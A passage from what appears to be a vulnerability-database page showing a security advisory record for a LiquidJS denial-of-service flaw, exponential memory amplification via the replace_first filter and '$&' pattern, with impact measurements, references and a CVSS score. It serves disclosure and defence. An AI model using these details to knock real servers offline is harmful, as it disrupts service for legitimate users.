20 concurrent requests, legitimate user requests are **delayed by 10.9 seconds** and the server becomes **completely unresponsive for 29 seconds**. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.",
  "id": "GHSA-6q5m-63h6-5x4v",
  "modified": "2026-03-30T13:53:32Z",
  "published": "2026-03-25T17:44:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS has Exponential Memory Amplification through its replace_first Filter $\u0026 Pattern"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…